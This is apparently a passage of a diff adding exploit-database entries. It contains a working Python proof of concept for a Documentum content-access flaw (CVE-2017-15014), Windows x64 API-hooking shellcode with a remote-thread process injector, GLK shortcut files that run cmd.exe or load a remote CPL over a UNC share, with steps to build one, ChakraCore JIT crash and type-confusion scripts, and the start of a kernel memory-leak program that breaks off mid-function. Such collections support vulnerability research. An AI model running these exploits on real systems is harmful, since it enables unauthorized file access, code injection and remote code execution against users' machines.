docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
if __name__ == '__main__':
main()

View file

@ -0,0 +1,154 @@
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to download arbitrary
# content files regardless attacker's repository permissions:
#
# when authenticated user upload content to repository he performs following steps:
# - calls START_PUSH RPC-command
# - uploads file to content server
# - calls END_PUSH_V2 RPC-command, here Content Server returns DATA_TICKET,
# purposed to identify the location of the uploaded file on Content Server filesystem
# - further user creates dmr_content object in repository, which has value of data_ticket equal
# to the value of DATA_TICKET returned at the end of END_PUSH_V2 call
#
# As the result of such design any authenticated user may create his own dmr_content object,
# pointing to already existing content of Content Server filesystem
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15014.py
# usage:
# CVE-2017-15014.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15014.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Trying to find any object with content...
# Querying "inaccessible" dmr_content objects...
# Downloaded 3959/3959 bytes of object 06024be980000133
# Downloaded 11280/11280 bytes of object 06024be980000135
# Downloaded 10004/10004 bytes of object 06024be980000138
# Downloaded 23692/23692 bytes of object 06024be98000017a
# Downloaded 19541/19541 bytes of object 06024be980000180
# Downloaded 1096/1096 bytes of object 06024be980000172
# Downloaded 11776/11776 bytes of object 06024be98000011f
# Downloaded 50176/50176 bytes of object 06024be980000125
# Downloaded 16384/16384 bytes of object 06024be98000012f
# Downloaded 985/985 bytes of object 06024be9800001f5
# Downloaded 191/191 bytes of object 06024be9800001fe
# Downloaded 213/213 bytes of object 06024be980000200
#
import socket
import sys
from dctmpy import NULL_ID
from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n%s host port user password" % sys.argv[0]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
print "Querying \"inaccessible\" dmr_content objects..."
for e in session.query(
"SELECT * FROM dmr_content "
"WHERE ANY parent_id IS NOT NULLID "
"AND ANY parent_id NOT IN "
"(SELECT r_object_id FROM dm_sysobject)"
):
handle = 0
try:
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", e["storage_id"])
obj.set_id("format", e["format"])
obj.set_int("data_ticket", e["data_ticket"])
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
print "Failed"
exit(1)
handle = session.make_puller(
NULL_ID, obj["storage_id"], content_id,
obj["format"], obj["data_ticket"]
)
if handle == 0:
raise RuntimeError("Unable make puller")
size = 0
for chunk in session.download(handle):
size += len(chunk)
print "Downloaded %d/%d bytes of object %s" % \
(size, e['full_content_size'], e['r_object_id'])
finally:
if handle > 0:
try:
session.kill_puller(handle)
except:
pass
def create_session(host, port, user, pwd):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
if __name__ == '__main__':
main()

View file

@ -0,0 +1,292 @@
/*
# Title : Windows x64 API Hooking Shellcode
# Author : Roziul Hasan Khan Shifat
# Size : 117 bytes
# Date : 16/10/2017
# Email : shifath12@gmail.com
# Tested On : Windows 7 Ultimate x64
*/
/*
This Shellcode hooks DeteleFileW() API
Warning: Do no Use this Shellcode on explorer.exe Otherwise You won't be able to delete file from Recycle Bin
*/
/*
section .text
global _start
_start:
xor rdx,rdx
mov rax,[gs:rdx+0x60] ;PPEB
mov rax,[rax+24] ;PPEB->Ldr
mov rsi,[rax+32] ;Ldr->InMemOrderModuleList.Flink
mov rax,[rsi]
mov rsi,[rax]
mov rdi,[rsi+32] ;rdi=kernel32.dll base Address
;---------------------------------------------------------------
xor rsi,rsi
mov si,0x29f0
add rsi,rdi ;rsi=VirtualProtect()
;----------------------------------
;This Part is Important
xor r12,r12
mov r12w,0xa2b0 ;0x0000a2b0 is Relative Address of DeleteFileW()
add r12,rdi ;r12=DeleteFileW()
;---------------------------------------------------
;Changing memory attribute
mov rcx,r12
push rdx
mov dl,9
pop r8
mov r8b,0x40
sub rsp,4
lea r14,[rsp]
mov r9,r14
call rsi
;--------------------------------------------------------
mov [r12],byte 0xe9
jmp shellcode
inj:
pop rdx
sub rdx,r12
sub rdx,5
mov [r12+1],rdx
xor rdx,rdx
mov dl,9
mov rcx,r12
mov r8d,dword [r14]
mov r9,r14
call rsi
add rsp,4
ret
shellcode:
call inj
;This is My own shellcode
db 0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x40,0x18,0x48,0x8b,0x70,0x20,0x48,0x8b,0x06,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x20,0x68,0x90,0x65,0x01,0x0a,0x80,0x74,0x24,0x03,0x0a,0x5b,0x48,0x01,0xfb,0x52,0x52,0x48,0xb8,0x75,0x73,0x65,0x72,0x33,0x32,0x2e,0x64,0x48,0x89,0x04,0x24,0x66,0xc7,0x44,0x24,0x08,0x6c,0x6c,0x48,0x8d,0x0c,0x24,0x48,0x83,0xec,0x58,0xff,0xd3,0x68,0xb8,0x12,0x07,0x0a,0x80,0x74,0x24,0x03,0x0a,0x5b,0x48,0x01,0xc3,0x48,0x31,0xc9,0x6a,0x10,0x41,0x59,0x51,0x51,0x48,0xba,0x41,0x50,0x49,0x20,0x42,0x6c,0x6f,0x63,0x48,0x89,0x14,0x24,0xc7,0x44,0x24,0x08,0x6b,0x65,0x64,0x21,0x48,0x8d,0x14,0x24,0x52,0x41,0x58,0x48,0x83,0xec,0x58,0x48,0x83,0xec,0x58,0xff,0xd3,0x90,0x48,0x31,0xd2,0x66,0xba,0x28,0x01,0x48,0x01,0xd4,0xc3
*/
/*
apiint.obj: file format pe-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: 48 31 d2 xor %rdx,%rdx
3: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax
8: 48 8b 40 18 mov 0x18(%rax),%rax
c: 48 8b 70 20 mov 0x20(%rax),%rsi
10: 48 8b 06 mov (%rsi),%rax
13: 48 8b 30 mov (%rax),%rsi
16: 48 8b 7e 20 mov 0x20(%rsi),%rdi
1a: 48 31 f6 xor %rsi,%rsi
1d: 66 be f0 29 mov $0x29f0,%si
21: 48 01 fe add %rdi,%rsi
24: 4d 31 e4 xor %r12,%r12
27: 66 41 bc b0 a2 mov $0xa2b0,%r12w
2c: 49 01 fc add %rdi,%r12
2f: 4c 89 e1 mov %r12,%rcx
32: 52 push %rdx
33: b2 09 mov $0x9,%dl
35: 41 58 pop %r8
37: 41 b0 40 mov $0x40,%r8b
3a: 48 83 ec 04 sub $0x4,%rsp
3e: 4c 8d 34 24 lea (%rsp),%r14
42: 4d 89 f1 mov %r14,%r9
45: ff d6 callq *%rsi
47: 41 c6 04 24 e9 movb $0xe9,(%r12)
4c: eb 22 jmp 70 <shellcode>
000000000000004e <inj>:
4e: 5a pop %rdx
4f: 4c 29 e2 sub %r12,%rdx
52: 48 83 ea 05 sub $0x5,%rdx
56: 49 89 54 24 01 mov %rdx,0x1(%r12)
5b: 48 31 d2 xor %rdx,%rdx
5e: b2 09 mov $0x9,%dl
60: 4c 89 e1 mov %r12,%rcx
63: 45 8b 06 mov (%r14),%r8d
66: 4d 89 f1 mov %r14,%r9
69: ff d6 callq *%rsi
6b: 48 83 c4 04 add $0x4,%rsp
6f: c3 retq
0000000000000070 <shellcode>:
70: e8 d9 ff ff ff callq 4e <inj>
75: 48 31 d2 xor %rdx,%rdx
78: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax
7d: 48 8b 40 18 mov 0x18(%rax),%rax
81: 48 8b 70 20 mov 0x20(%rax),%rsi
85: 48 8b 06 mov (%rsi),%rax
88: 48 8b 30 mov (%rax),%rsi
8b: 48 8b 7e 20 mov 0x20(%rsi),%rdi
8f: 68 90 65 01 0a pushq $0xa016590
94: 80 74 24 03 0a xorb $0xa,0x3(%rsp)
99: 5b pop %rbx
9a: 48 01 fb add %rdi,%rbx
9d: 52 push %rdx
9e: 52 push %rdx
9f: 48 b8 75 73 65 72 33 movabs $0x642e323372657375,%rax
a6: 32 2e 64
a9: 48 89 04 24 mov %rax,(%rsp)
ad: 66 c7 44 24 08 6c 6c movw $0x6c6c,0x8(%rsp)
b4: 48 8d 0c 24 lea (%rsp),%rcx
b8: 48 83 ec 58 sub $0x58,%rsp
bc: ff d3 callq *%rbx
be: 68 b8 12 07 0a pushq $0xa0712b8
c3: 80 74 24 03 0a xorb $0xa,0x3(%rsp)
c8: 5b pop %rbx
c9: 48 01 c3 add %rax,%rbx
cc: 48 31 c9 xor %rcx,%rcx
cf: 6a 10 pushq $0x10
d1: 41 59 pop %r9
d3: 51 push %rcx
d4: 51 push %rcx
d5: 48 ba 41 50 49 20 42 movabs $0x636f6c4220495041,%rdx
dc: 6c 6f 63
df: 48 89 14 24 mov %rdx,(%rsp)
e3: c7 44 24 08 6b 65 64 movl $0x2164656b,0x8(%rsp)
ea: 21
eb: 48 8d 14 24 lea (%rsp),%rdx
ef: 52 push %rdx
f0: 41 58 pop %r8
f2: 48 83 ec 58 sub $0x58,%rsp
f6: 48 83 ec 58 sub $0x58,%rsp
fa: ff d3 callq *%rbx
fc: 90 nop
fd: 48 31 d2 xor %rdx,%rdx
100: 66 ba 28 01 mov $0x128,%dx
104: 48 01 d4 add %rdx,%rsp
107: c3 retq
*/
#include<stdio.h>
#include<windows.h>
#include<tlhelp32.h>
#include<string.h>
unsigned char shellcode[]=\
//Main Shellcode (Interceptor Shellcode)
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x20\x48\x8b\x06\x48\x8b\x30\x48\x8b\x7e\x20\x48\x31\xf6\x66\xbe\xf0\x29\x48\x01\xfe\x4d\x31\xe4\x66\x41\xbc\xb0\xa2\x49\x01\xfc\x4c\x89\xe1\x52\xb2\x09\x41\x58\x41\xb0\x40\x48\x83\xec\x04\x4c\x8d\x34\x24\x4d\x89\xf1\xff\xd6\x41\xc6\x04\x24\xe9\xeb\x22\x5a\x4c\x29\xe2\x48\x83\xea\x05\x49\x89\x54\x24\x01\x48\x31\xd2\xb2\x09\x4c\x89\xe1\x45\x8b\x06\x4d\x89\xf1\xff\xd6\x48\x83\xc4\x04\xc3\xe8\xd9\xff\xff\xff"
//Your Custom shellcode
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x20\x48\x8b\x06\x48\x8b\x30\x48\x8b\x7e\x20\x68\x90\x65\x01\x0a\x80\x74\x24\x03\x0a\x5b\x48\x01\xfb\x52\x52\x48\xb8\x75\x73\x65\x72\x33\x32\x2e\x64\x48\x89\x04\x24\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x68\xb8\x12\x07\x0a\x80\x74\x24\x03\x0a\x5b\x48\x01\xc3\x48\x31\xc9\x6a\x10\x41\x59\x51\x51\x48\xba\x41\x50\x49\x20\x42\x6c\x6f\x63\x48\x89\x14\x24\xc7\x44\x24\x08\x6b\x65\x64\x21\x48\x8d\x14\x24\x52\x41\x58\x48\x83\xec\x58\x48\x83\xec\x58\xff\xd3\x90\x48\x31\xd2\x66\xba\x28\x01\x48\x01\xd4\xc3";
int main()
{
HANDLE snap,proc,mem;
DWORD len,l,pid;
PROCESSENTRY32 ps;
ps.dwSize=sizeof(ps);
len=strlen(shellcode);
snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(snap==INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot() Failed");
return 0;
}
if(!Process32First(snap,&ps))
{
printf("Process32First() Failed");
return 0;
}
do
{
printf("%s : %ld\n",ps.szExeFile,ps.th32ProcessID);
}while(Process32Next(snap,&ps));
printf("\nEnter Process ID: ");
scanf("%ld",&pid);
proc=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
if(!proc)
{
printf("Failed to Open Process");
return 0;
}
mem=VirtualAllocEx(proc,NULL,len,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!mem)
{
printf("Failed to allocate memory in process");
return 0;
}
WriteProcessMemory(proc,mem,shellcode,len,NULL);
VirtualProtectEx(proc,mem,len,PAGE_EXECUTE_READ,&l);
CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)mem,NULL,0,0);
CloseHandle(proc);
return 0;
}

83
platforms/windows/dos/42994.txt Executable file
View file

@ -0,0 +1,83 @@
Title: MS Office Groove 'Workspace Shortcut' Arbitrary Code Execution Vulnerability
Date: September 28th, 2017.
Author: Eduardo Braun Prado
Vendor Homepage: http://www.microsoft.com/
Software Link: https://products.office.com/
Version: 2007 32-bits (x86)
Tested on: Windows 7/Server 2008/Vista/Server 2003/XP (X86 and x64)
CVE: N/A
Description:
MS Office Groove contains a security bypass issue regarding 'Workspace Shortcut' files (.GLK)
because it allows arbitrary (registered) URL Protocols to be passed, when only 'grooveTelespace://' URLs
should be allowed, which allows execution of arbitrary code upon opening a 'GLK' file.
Usually, URLs are passed to web browsers, but because it uses 'ShellExecute()', if malicious users pass
a 'file:///' URL, it will launch the default application for the file type specified in the URL. Important:
the 'GLK' extension is not in any of the Microsoft black list (eg. Outlook, IE) so we assume it´s a 'safe' file type. 2 proof of
concepts are provided, one for simply launching 'cmd.exe', and another, remote, that works on any Windows version:
-----poc_cmd_x64.GLK--------------------------------------------------------------------------------
<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
<ns1:NavigationInfo URL="file:///C:\windows\syswow64\cmd.exe"/>
</ns1:ExplorerLink>
----------------------------------------------------------------------------------------------------
-----poc_cmd_x86.GLK--------------------------------------------------------------------------------
<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
<ns1:NavigationInfo URL="file:///C:\windows\system32\cmd.exe"/>
</ns1:ExplorerLink>
----------------------------------------------------------------------------------------------------
-----poc_CPL.GLK------------------------------------------------------------------------------------
<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
<ns1:NavigationInfo URL="file:///\\192.168.0.50\share\CPL_Shortcut.lnk"/>
</ns1:ExplorerLink>
----------------------------------------------------------------------------------------------------
* the 'CPL_Shortcut.lnk' is a special type of shortcut, which doesn´t trigger warnings upon opening,
that can be easily created by dragging a
Windows Control Panel item icon from the Control Panel folder to the Desktop. Notice the item must be
a CPL file, not a special folder (some control panel items are just special types of folder not the
classic CPL file.
The easiest way to do it is:
a) Grab a Windows XP machine (there are lots of Control Panel items that are CPL files)
b) Drag and drop an icon, eg. the 'User Accounts' icon to the Desktop.
c) Open the shortcut file created in the Desktop with an Hex Editor (you may need to rename the file,
removing the '.lnk' extension or some programs will load the target of the shortcut instead of the shortcut
file itself). Edit the portion (in 'Unicode' format) that points to :
c:\windows\system32\nusrmgr.cpl and write an UNC path pointing to a valid CPL file:
\\192.168.0.50\share\cpl_sh.cpl (don´t forget the maximum path length (32 chars) must NOT be exceeded.)
d) Save the file and rename it to "CPL_Shortcut.lnk" and finally place it in the appropriate folder,
which will be accessed from remote, via: \\192.168.0.50\share
e) Using MS Visual Studio (tested with a C++ DLL compiled with VS 2008),
compile a DLL with code of choice and a 'DllMain' function and name it "cpl_sh.cpl".
f) Make sure the share and the 2 files (the .CPL and .LNK) are anonymously accessible from a remote
machine.
That´s it, now just open the 'GLK' files. Both 'cmd.exe' and the CPL file should be executed/loaded.
Notice the files located in the remote share will take longer than 'CMD.exe' to be executed for obvious
reasons, just wait a few seconds.

36
platforms/windows/dos/42995.txt Executable file
View file

@ -0,0 +1,36 @@
Title: MS Office Excel (all versions) Arbitrary Code Execution Vulnerability
Date: September 30th, 2017.
Author: Eduardo Braun Prado
Vendor Homepage: http://www.microsoft.com/
Software Link: https://products.office.com/
Version: 2007,2010,2013,2016 32/64 bits (x86 and x64)
Tested on: Windows 10/8.1/8.0/7/Server 2012/Server 2008/Vista (X86 and x64)
CVE: 2017-0199
Description:
MS Excel contains a remote code execution vulnerability upon processing OLE objects. Although this is a different issue from the
MS Word HTA execution vulnerability, it has been patched together, 'silently'. By performing some tests from the Word HTA PoC posted
on exploit-db[dot]com, it´s possible to exploit it through Excel too, however the target would need to either accept a security warning
regarding external links or double click inside the Excel window, same applies for Powerpoint, so I guess this is the reason, Word caught
the attention and no exploit PoC was made available to other Office apps.
This vulnerability exists in the way Excel handles parameters passed to the "DDEService" attribute of links, leading to the search for a
program to display it. As it does not impose restrictions on what program is going to be executed, for instance, only programs located in the
Office install directory, it is possible to invoke arbitrary local programs with parameters, leading to system compromise.
Since Excel blocks automatic update of linked files, the target must be tricked into double clicking anywhere inside the document.
(The linked object occupies basicly the whole document window). Without the patch applied no warning/prompt is shown;
With the patch a prompt is shown asking if it´s ok to run 'xxxx.exe', where 'xxxx.exe' can have arbitrary names as long as it´s at most 8
chars long, so we could still fake/spoof it as another Office app (the app name cannot be the same of the legitimate, eg. 'Excel').
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42995.zip

34
platforms/windows/dos/42997.txt Executable file
View file

@ -0,0 +1,34 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1328
Windows: WLDP/MSHTML CLSID UMCI Bypass
Platform: Windows 10 S (thought should be anything with UMCI)
Class: Security Feature Bypass
Summary:
The enlightened lockdown policy check for COM Class instantiation can be bypassed in MSHTML hosts leading to arbitrary code execution on a system with UMCI enabled (e.g. Device Guard)
Description:
Scripting hosts are supposed to check against the Windows Lockdown Policy (WLDP) before instantiating arbitrary COM classes. This is typically done by calling WldpIsClassInApprovedList from WLDP.DLL before instantiating any COM class. For example in the case of JScripts ActiveXObject the ProgID is passed to CLSIDFromProgID by the script host and the resulting CLSID is passed to WLDP to determine whats allowed.
Its possible to circumvent this check by using the COM TreatAs key to redirect one of the limited (8) allowed CLSIDs to an arbitrary class and get it instantiated. However you cant do this using ActiveXObject as CLSIDFromProgID will return the resulting CLSID from looking up TreatAs. That said there is a race condition here. However in an MSHTML Local Machine Zone scenario you can bypass it by using an OBJECT tag. In this case MSHTML parses the classid attribute and checks that CLSID against WLDP. It then proceeds to create it using CoCreateInstance which follows TreatAs and creates a different object.
This does require modification of the registry to work, but I think thats in scope. The reason Im reporting this one is I think its a bug in MSHTML, rather than in an application you can easily block (at least if you want to disable
Proof of Concept:
Ive provided a PoC is two files, a text file to set-up the registry and a HTML file. The registry file is in the REGINI format which allows it to work on Win10S as while reg.exe and regedit.exe are blocked regini.exe isnt. The HTML file can be run inside IE or my prefered option HTML Help. You could even make the PoC file a CHM but I didnt. The PoC can bootstrap things like untrusted .NET but for simplicity it doesnt.
1) Unpack the PoC and ensure the HTML file does NOT have MOTW.
2) From the explorer Run dialog execute “regini path\to\keys.txt”
3) Execute the HTML file from the Run dialog using “hh path\to\shell.html”
Expected Result:
The class creation should fail.
Observed Result:
The class creation succeeded and the HTML file executed notepad.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42997.zip

88
platforms/windows/dos/42998.js Executable file
View file

@ -0,0 +1,88 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1333
Bailout:
"ChakraCores background JIT compiler generates highly optimized JITed code based upon the data and infers likely usage patterns based on the profile data collected by the interpreter. Given the dynamic nature of JavaScript code, if the code gets executed in a way that breaks the profile assumptions, the JITed code “bails out” to the interpreter where the slower bytecode execution restarts while continuing to collect more profile data."
From https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview
One of the ways to generate bailouts in Chakra is to directly change the opcode of an instruction that can't be JITed. This is performed by the method "Lowerer::GenerateBailOut".
Here's a snippet of Lowerer::GenerateBailOut.
...
// Call the bail out wrapper
instr->m_opcode = Js::OpCode::Call;
if(instr->GetDst())
{
// To facilitate register allocation, don't assign a destination. The result will anyway go into the return register,
// but the register allocator does not need to kill that register for the call.
instr->FreeDst();
}
instr->SetSrc1(IR::HelperCallOpnd::New(helperMethod, this->m_func));
m_lowererMD.LowerCall(instr, 0);
Here's some calling patterns of the method.
1.
instr->FreeSrc1();
instr->FreeSrc2();
this->GenerateBailOut(instr);
2.
stElem->FreeSrc1();
stElem->FreeDst();
GenerateBailOut(stElem, nullptr, nullptr);
Judging from the method code that doesn't care about "Src2" and the calling patterns, freeing or unlinking "Src1" and "Src2" is up to the callers. I could spot some points that don't free or unlink an instuction's "Src2", despite the instruction has "Src2". In these cases, it ends up to be converted to "Js::OpCode::Call" with "Src2". So, what happens if a Call instruction has "Src2"?
Here's the trace log of the PoC.
$L13: [helper]
s51<-48> = MOV s51(r13) 4C 89 6D D0
(rdi).u64 = MOV 0xXXXXXXXX (BailOutRecord).u64 48 BF 78 23 00 7C 17 7F 00 00
(rax).u64 = MOV SaveAllRegistersAndBailOut.u64 48 B8 20 92 19 93 1F 7F 00 00
CALL (rax).u64, s51(r13) 49 FF C5
JMP $L14 E9 00 00 00 00
StatementBoundary #-1
"CALL (rax).u64, s51(r13)" is what Chakra wanted to generate(despite CALLs don't take the second operand). "49 FF C5" is x86-64 code actually generated and disassembled as "inc r13". This also means there's a bug in the x86-64 assembler.
PoC bug:
The following buggy method is used to convert a St*Fld instruction to a bailout. Unlike just "StFld" instructions, "StSuperFld" instructions take "Src2" as "this". So the following method should have freed "Src2".
bool
Lowerer::GenerateStFldWithCachedType(IR::Instr *instrStFld, bool* continueAsHelperOut, IR::LabelInstr** labelHelperOut, IR::RegOpnd** typeOpndOut)
{
...
instrStFld->m_opcode = Js::OpCode::BailOut;
instrStFld->FreeSrc1();
<<----------- should call FreeSrc2
instrStFld->FreeDst();
this->GenerateBailOut(instrStFld);
...
}
PoC:
*/
class MyClass {
constructor() {
this.arr = [1, 2, 3];
}
f() {
super.arr = [1];
this.x; // for passing BackwardPass::DeadStoreTypeCheckBailOut ?
}
}
let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {
c.f();
}

58
platforms/windows/dos/42999.js Executable file
View file

@ -0,0 +1,58 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1338
Here's a snippet of the method that interprets a javascript function's bytecode.
Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)
if (!this->closureInitDone)
{
Assert(this->m_reader.GetCurrentOffset() == 0);
this->InitializeClosures(); <<------- (b)
}
...
... interprets the bytecode
...
At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized.
But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.
void StackScriptFunction::BoxState::Box()
{
...
if (callerFunctionBody->DoStackScopeSlots())
{
Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure();
if (stackScopeSlots)
{
Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount());
interpreterFrame->SetLocalClosure((Var)boxedScopeSlots);
}
...
...
"stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.
It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.
PoC:
*/
function trigger() {
let a, b, c;
function g() {
trigger();
a, b, c;
}
g();
}
trigger();

33
platforms/windows/dos/43000.js Executable file
View file

@ -0,0 +1,33 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1334
The "String.prototype.replace" method can be inlined in the JIT process. So in the method, all the calls which may break the JIT assumptions must be invoked with updating "ImplicitCallFlags". But "RegexHelper::StringReplace" calls the replace function without updating the flag. Therefore it fails to detect if a user function was called.
The PoC shows that it can result in type confusion.
PoC:
*/
function main() {
let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
function opt(f) {
arr[0] = 1.1;
arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
arr[2] = 1.1;
arr[3] = 1.1;
}
let r0 = () => '0';
for (var i = 0; i < 0x1000; i++)
opt(r0);
opt(() => {
arr[0] = {};
return '0';
});
print(arr[1]);
}
main();

123
platforms/windows/dos/43001.cpp Executable file
View file

@ -0,0 +1,123 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1303&desc=2
We have discovered that the nt!NtQueryObject syscall handler discloses portions of uninitialized pool memory to user-mode clients when the following conditions are met:
a) It is invoked with the ObjectNameInformation information class and a file object associated with a file on local disk (other configurations were not tested).
b) The provided buffer is too short to contain even the first part of the output data, i.e. the name of the harddisk volume device (e.g. "\Device\HarddiskVolume2").
By empirically testing the system call in the above set up, we have found that it actually behaves in five different ways depending on the length of the output buffer:
a) From 1 to 7 (32-bit) or 15 (64-bit): no output, syscall returns STATUS_INFO_LENGTH_MISMATCH.
b) From 8/16 to N-1 (N being size required to store the name of the volume device): uninitialized pool memory is disclosed to user-mode, syscall returns STATUS_BUFFER_OVERFLOW.
c) From N to N+1: partial path is copied to user-mode, syscall returns STATUS_OBJECT_PATH_INVALID.
d) From N+2 to M-1 (M being the size required to store the entire output data): partial path is copied to user-mode, syscall returns STATUS_BUFFER_OVERFLOW.
e) From M to ...: full path is copied to user-mode, syscall returns STATUS_SUCCESS.
The issue is of course with case (b); it means that between 1 and about 56 bytes of uninitialized kernel pool memory can be leaked with a single nt!NtQueryObject call.
The attached proof of concept program has been tested on 32 and 64-bit builds of Windows 7. It dumps the data leaked by the affected syscall in each subsequent iteration, and then waits for user interaction (ENTER key press) before executing the next one. When the Special Pools mechanism is enabled for ntoskrnl.exe, the PoC output should be similar to the following:
--- cut ---
00000000: e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 ................
00000010: e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 ................
00000020: e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 e1 ................
00000030: e1 e1 e1 e1 e1 e1 e1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ................
00000000: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################
00000010: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################
00000020: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################
00000030: 23 23 23 23 23 23 23 ?? ?? ?? ?? ?? ?? ?? ?? ?? #######.........
00000000: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----------------
00000010: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----------------
00000020: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----------------
00000030: 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? ?? -------.........
00000000: 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 7777777777777777
00000010: 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 7777777777777777
00000020: 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 7777777777777777
00000030: 37 37 37 37 37 37 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? 7777777.........
--- cut ---
A different repeated marker byte (inserted by Special Pools upon allocation) is displayed each time, which means that uninitialized data from new pool allocations is disclosed to the user-mode client in each attempt.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cstdio>
#define ObjectNameInformation ((OBJECT_INFORMATION_CLASS)1)
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
BOOL wow64 = FALSE;
